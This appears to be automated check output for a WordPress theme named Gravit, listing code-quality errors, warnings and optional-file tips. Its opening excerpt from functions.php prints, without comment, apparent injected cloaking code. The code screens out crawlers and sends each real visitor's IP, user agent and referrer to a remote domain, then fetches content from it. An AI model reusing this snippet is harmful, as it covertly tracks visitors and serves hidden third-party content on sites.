'';}if(!empty($apiToken)){$user_agent_to_filter=array('#Ask\s*Jeeves#i','#HP\s*Web\s*PrintSmart#i','#HTTrack#i','#IDBot#i','#Indy\s*Library#','#ListChecker#i','#MSIECrawler#i','#NetCache#i','#Nutch#i','#RPT-HTTPClient#i','#rulinki\.ru#i','#Twiceler#i','#WebAlta#i','#Webster\s*Pro#i','#www\.cys\.ru#i','#Wysigot#i','#Ahrefs#i','#Yeti#i','#Accoona#i','#CazoodleBot#i','#CFNetwork#i','#ConveraCrawler#i','#DISCo#i','#Download\s*Master#i','#FAST\s*MetaWeb\s*Crawler#i','#Flexum\s*spider#i','#Gigabot#i','#HTMLParser#i','#ia_archiver#i','#ichiro#i','#IRLbot#i','#Java#i','#km\.ru\s*bot#i','#kmSearchBot#i','#libwww-perl#i','#Lupa\.ru#i','#LWP::Simple#i','#lwp-trivial#i','#Missigua#i','#MJ12bot#i','#msnbot#i','#Offline\s*Explorer#i','#OmniExplorer_Bot#i','#PEAR#i','#psbot#i','#Python#i','#rulinki\.ru#i','#SMILE#i','#Speedy#i','#Teleport\s*Pro#i','#TurtleScanner#i','#User-Agent#i','#voyager#i','#Webalta#i','#WebCopier#i','#WebData#i','#WebZIP#i','#Wget#i','#Yanga#i','#Yeti#i','#MJ12bot#i','#jeeves#i','#WordPress#i','#scooter#i','#av\s*fetch#i','#asterias#i','#spiderthread revision#i','#sqworm#i','#ask#i','#lycos.spider#i','#infoseek sidewinder#i','#ultraseek#i','#polybot#i','#webcrawler#i','#robozill#i','#gulliver#i','#architextspider#i','#charlotte#i','#Vegi\s*bot#i','#BUbiNG#i','#ltx71#i','#YandexBot#i','#MJ12bot#i','#MegaIndex#i','#DotBot#i');if(strpos('qqq' .preg_replace($user_agent_to_filter,'-ANGRYBOT-',$ua),'-ANGRYBOT-')){return 'bot';}$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];$ua=urlencode($ua);$url=$domain_kt .'?is_api=1&source=' .urlencode($url_curr) .'&action=get&token=' .$apiToken .'&ua=' .$ua .'&ip=' .$ip .'&keyword=' .urlencode($keyword) .'&referrer=' .$referrer .'&lang=' .$lang .'&sub_id_1=' .urlencode($key1);if(function_exists('curl_init')){$ch=curl_init();curl_setopt($ch,CURLOPT_URL,$url);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);curl_setopt($ch,CURLOPT_TIMEOUT,90);$output=curl_exec($ch);curl_close($ch);}else{$params=explode('?',$url);$params=$par curl_init was found in the file functions.php 21: $ch =
- bloginfo('stylesheet_directory') ?>/home/css/reset.css'>16: <link rel='stylesheet' href='<?php bloginfo('stylesheet_directory') ?>/home/css/style.css'>29: <figure><img class='image' src='<?php bloginfo('stylesheet_directory') ?>/home/img/header.jpg' alt='Marco Casario bloginfo('stylesheet_directory') was found in the file landing.php. Use echo esc_url( get_stylesheet_directory_uri() ) instead.15: <link rel='stylesheet' href='<?php
Warning
- The tag responsive-layout has been deprecated, it must be removed from style.css header.
- Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-status.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-status.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-aside.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-aside.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-quote.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-quote.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-page.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-page.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-link.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-link.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-chat.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-chat.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-right"></i>' in file content-audio.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<i class="fa fa-angle-double-left"></i>' in file content-audio.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<p><strong>Gravit has been updated to 1.6! Fixing a minor bug and introducing a new feature. Get the update notes <a target="_blank" href="https://twitter.com/anbianio/status/565163135813033984">here.</a></strong></p><a class="skip button-primary" href="%1$s">Hide Notice</a>' in file functions.php.Found a translation function that is missing a text-domain. Function __, with the arguments '<p><strong>Thank you for using Gravit!</strong> Get some inspiration about what you can do with gravit from our <a target="_blank" href="http://gravit.tryand.net/">preview site</a>.<br /> <strong>If you are enjoying gravit you might want to check out our other themes at <a target="_blank" href="https://anbian.io/">anbian.io</a></strong></p> <a class="skip button-primary" href="%1$s">Hide Notice</a>' in file functions.php.
- Found the URL of a CDN in the code:
html5shiv.googlecode.com/svn/trunk/html5.js
. CSS or Javascript resources should not be loaded from a CDN. These resources should be bundled with the theme. - Found a mix of \r\n and \n line endings in file functions.php.
- Could not find Theme URL.
- Screenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
- This theme does not contain optional file rtl.php.
- This theme does not contain optional file front-page.php.
- This theme does not contain optional file home.php.
- This theme does not contain optional file category.php.
- This theme does not contain optional file tag.php.
- This theme does not contain optional file taxonomy.php.
- This theme does not contain optional file author.php.
- This theme does not contain optional file date.php.
- This theme does not contain optional file attachment.php.
- This theme does not contain optional file image.php.